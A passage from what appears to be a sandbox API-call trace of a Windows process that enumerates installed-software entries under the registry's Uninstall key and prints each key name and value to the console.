(HeapHandle=0x2e0000, Flags=0xc, Size=0xc6) returned 0x2fcd70 [0146.800] GetProcessHeap () returned 0x2e0000 [0146.800] GetProcessHeap () returned 0x2e0000 [0146.800] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.800] GetProcessHeap () returned 0x2e0000 [0146.800] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x2 [0146.800] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.801] GetProcessHeap () returned 0x2e0000 [0146.801] GetProcessHeap () returned 0x2e0000 [0146.801] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd70) returned 1 [0146.801] GetProcessHeap () returned 0x2e0000 [0146.801] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcd70) returned 0xc6 [0146.801] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd70 | out: hHeap=0x2e0000) returned 1 [0146.801] RegCloseKey (hKey=0x5c) returned 0x0 [0146.801] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x2, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Connection Manager", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.801] __iob_func () returned 0x7fefd702a80 [0146.801] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.801] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager\n") returned 90 [0146.801] _fileno (_File=0x7fefd702ab0) returned 1 [0146.801] _errno () returned 0xc4bb0 [0146.801] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.801] _errno () returned 0xc4bb0 [0146.801] GetFileType (hFile=0x50) returned 0x1 [0146.801] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager\n") returned 90 [0146.801] GetConsoleOutputCP () returned 0x1b5 [0146.801] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager\n", cchWideChar=90, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 90 [0146.801] GetConsoleOutputCP () returned 0x1b5 [0146.801] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager\n", cchWideChar=90, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager\n", lpUsedDefaultChar=0x0) returned 90 [0146.801] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 90 [0146.801] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.801] RegOpenKeyExW (in: hKey=0x58, lpSubKey="Connection Manager", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0146.802] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x1, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.802] GetProcessHeap () returned 0x2e0000 [0146.802] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5bc0 [0146.802] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="SystemComponent", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.802] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.802] GetProcessHeap () returned 0x2e0000 [0146.802] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fb7d0 [0146.802] GetProcessHeap () returned 0x2e0000 [0146.802] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.802] GetProcessHeap () returned 0x2e0000 [0146.802] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x6 [0146.802] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fb7d0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fb7d0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0146.802] __iob_func () returned 0x7fefd702a80 [0146.802] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.802] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.802] _fileno (_File=0x7fefd702ab0) returned 1 [0146.802] _errno () returned 0xc4bb0 [0146.802] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.802] _errno () returned 0xc4bb0 [0146.802] GetFileType (hFile=0x50) returned 0x1 [0146.802] lstrlenW (lpString=" ") returned 4 [0146.802] GetConsoleOutputCP () returned 0x1b5 [0146.802] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.802] GetConsoleOutputCP () returned 0x1b5 [0146.802] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.803] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.803] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.803] lstrlenW (lpString="SystemComponent") returned 15 [0146.803] __iob_func () returned 0x7fefd702a80 [0146.803] _fileno (_File=0x7fefd702ab0) returned 1 [0146.803] _errno () returned 0xc4bb0 [0146.803] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.803] _errno () returned 0xc4bb0 [0146.803] GetFileType (hFile=0x50) returned 0x1 [0146.803] lstrlenW (lpString="SystemComponent") returned 15 [0146.803] GetConsoleOutputCP () returned 0x1b5 [0146.803] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0146.803] GetConsoleOutputCP () returned 0x1b5 [0146.803] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemComponent", lpUsedDefaultChar=0x0) returned 15 [0146.803] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0146.803] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.804] __iob_func () returned 0x7fefd702a80 [0146.804] _fileno (_File=0x7fefd702ab0) returned 1 [0146.804] _errno () returned 0xc4bb0 [0146.804] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.804] _errno () returned 0xc4bb0 [0146.804] GetFileType (hFile=0x50) returned 0x1 [0146.804] lstrlenW (lpString=" ") returned 4 [0146.804] GetConsoleOutputCP () returned 0x1b5 [0146.804] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.805] GetConsoleOutputCP () returned 0x1b5 [0146.805] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.805] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.805] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.805] __iob_func () returned 0x7fefd702a80 [0146.805] _fileno (_File=0x7fefd702ab0) returned 1 [0146.805] _errno () returned 0xc4bb0 [0146.805] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.805] _errno () returned 0xc4bb0 [0146.805] GetFileType (hFile=0x50) returned 0x1 [0146.805] lstrlenW (lpString="REG_DWORD") returned 9 [0146.805] GetConsoleOutputCP () returned 0x1b5 [0146.805] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.805] GetConsoleOutputCP () returned 0x1b5 [0146.805] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0146.805] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.805] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.805] __iob_func () returned 0x7fefd702a80 [0146.805] _fileno (_File=0x7fefd702ab0) returned 1 [0146.805] _errno () returned 0xc4bb0 [0146.805] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.805] _errno () returned 0xc4bb0 [0146.806] GetFileType (hFile=0x50) returned 0x1 [0146.806] lstrlenW (lpString=" ") returned 4 [0146.806] GetConsoleOutputCP () returned 0x1b5 [0146.806] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.806] GetConsoleOutputCP () returned 0x1b5 [0146.806] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.806] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.806] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.806] __iob_func () returned 0x7fefd702a80 [0146.806] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.806] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0146.806] _fileno (_File=0x7fefd702ab0) returned 1 [0146.806] _errno () returned 0xc4bb0 [0146.806] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.806] _errno () returned 0xc4bb0 [0146.806] GetFileType (hFile=0x50) returned 0x1 [0146.806] lstrlenW (lpString="0x1") returned 3 [0146.806] GetConsoleOutputCP () returned 0x1b5 [0146.806] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0146.806] GetConsoleOutputCP () returned 0x1b5 [0146.807] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0146.807] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0146.807] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.807] __iob_func () returned 0x7fefd702a80 [0146.807] _fileno (_File=0x7fefd702ab0) returned 1 [0146.807] _errno () returned 0xc4bb0 [0146.807] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.807] _errno () returned 0xc4bb0 [0146.807] GetFileType (hFile=0x50) returned 0x1 [0146.807] lstrlenW (lpString="\n") returned 1 [0146.807] GetConsoleOutputCP () returned 0x1b5 [0146.807] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.807] GetConsoleOutputCP () returned 0x1b5 [0146.807] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.807] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.807] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.807] GetProcessHeap () returned 0x2e0000 [0146.807] GetProcessHeap () returned 0x2e0000 [0146.807] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.807] GetProcessHeap () returned 0x2e0000 [0146.807] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x6 [0146.807] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.807] __iob_func () returned 0x7fefd702a80 [0146.807] _fileno (_File=0x7fefd702ab0) returned 1 [0146.807] _errno () returned 0xc4bb0 [0146.808] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.808] _errno () returned 0xc4bb0 [0146.808] GetFileType (hFile=0x50) returned 0x1 [0146.808] lstrlenW (lpString="\n") returned 1 [0146.808] GetConsoleOutputCP () returned 0x1b5 [0146.808] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.808] GetConsoleOutputCP () returned 0x1b5 [0146.808] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.808] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.808] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.808] GetProcessHeap () returned 0x2e0000 [0146.808] GetProcessHeap () returned 0x2e0000 [0146.808] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0) returned 1 [0146.808] GetProcessHeap () returned 0x2e0000 [0146.808] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bc0) returned 0x20 [0146.808] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0 | out: hHeap=0x2e0000) returned 1 [0146.808] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.808] GetProcessHeap () returned 0x2e0000 [0146.808] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fb7d0 [0146.808] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager") returned 89 [0146.808] GetProcessHeap () returned 0x2e0000 [0146.808] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xb6) returned 0x2fcd70 [0146.808] GetProcessHeap () returned 0x2e0000 [0146.808] GetProcessHeap () returned 0x2e0000 [0146.808] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.808] GetProcessHeap () returned 0x2e0000 [0146.808] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x2 [0146.808] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.808] GetProcessHeap () returned 0x2e0000 [0146.809] GetProcessHeap () returned 0x2e0000 [0146.809] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd70) returned 1 [0146.809] GetProcessHeap () returned 0x2e0000 [0146.809] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcd70) returned 0xb6 [0146.809] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd70 | out: hHeap=0x2e0000) returned 1 [0146.809] RegCloseKey (hKey=0x5c) returned 0x0 [0146.809] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x3, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="DirectDrawEx", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.809] __iob_func () returned 0x7fefd702a80 [0146.809] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.809] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx\n") returned 84 [0146.809] _fileno (_File=0x7fefd702ab0) returned 1 [0146.809] _errno () returned 0xc4bb0 [0146.809] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.809] _errno () returned 0xc4bb0 [0146.809] GetFileType (hFile=0x50) returned 0x1 [0146.809] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx\n") returned 84 [0146.809] GetConsoleOutputCP () returned 0x1b5 [0146.809] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx\n", cchWideChar=84, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 84 [0146.809] GetConsoleOutputCP () returned 0x1b5 [0146.809] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx\n", cchWideChar=84, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx\n", lpUsedDefaultChar=0x0) returned 84 [0146.809] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 84 [0146.809] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.809] RegOpenKeyExW (in: hKey=0x58, lpSubKey="DirectDrawEx", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0146.810] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.810] GetProcessHeap () returned 0x2e0000 [0146.810] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fb7d0 [0146.810] __iob_func () returned 0x7fefd702a80 [0146.810] _fileno (_File=0x7fefd702ab0) returned 1 [0146.810] _errno () returned 0xc4bb0 [0146.810] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.810] _errno () returned 0xc4bb0 [0146.810] GetFileType (hFile=0x50) returned 0x1 [0146.810] lstrlenW (lpString="\n") returned 1 [0146.810] GetConsoleOutputCP () returned 0x1b5 [0146.810] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.810] GetConsoleOutputCP () returned 0x1b5 [0146.810] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.810] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.810] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.810] GetProcessHeap () returned 0x2e0000 [0146.810] GetProcessHeap () returned 0x2e0000 [0146.810] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.810] GetProcessHeap () returned 0x2e0000 [0146.810] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x2 [0146.810] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.810] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.810] GetProcessHeap () returned 0x2e0000 [0146.810] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fb7d0 [0146.810] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx") returned 83 [0146.811] GetProcessHeap () returned 0x2e0000 [0146.811] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xaa) returned 0x2fcd70 [0146.811] GetProcessHeap () returned 0x2e0000 [0146.811] GetProcessHeap () returned 0x2e0000 [0146.811] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.811] GetProcessHeap () returned 0x2e0000 [0146.811] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x2 [0146.811] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.811] GetProcessHeap () returned 0x2e0000 [0146.811] GetProcessHeap () returned 0x2e0000 [0146.811] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd70) returned 1 [0146.811] GetProcessHeap () returned 0x2e0000 [0146.811] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcd70) returned 0xaa [0146.811] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd70 | out: hHeap=0x2e0000) returned 1 [0146.811] RegCloseKey (hKey=0x5c) returned 0x0 [0146.811] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x4, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="DXM_Runtime", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.811] __iob_func () returned 0x7fefd702a80 [0146.811] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.811] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime\n") returned 83 [0146.811] _fileno (_File=0x7fefd702ab0) returned 1 [0146.811] _errno () returned 0xc4bb0 [0146.811] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.811] _errno () returned 0xc4bb0 [0146.811] GetFileType (hFile=0x50) returned 0x1 [0146.811] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime\n") returned 83 [0146.811] GetConsoleOutputCP () returned 0x1b5 [0146.811] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime\n", cchWideChar=83, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 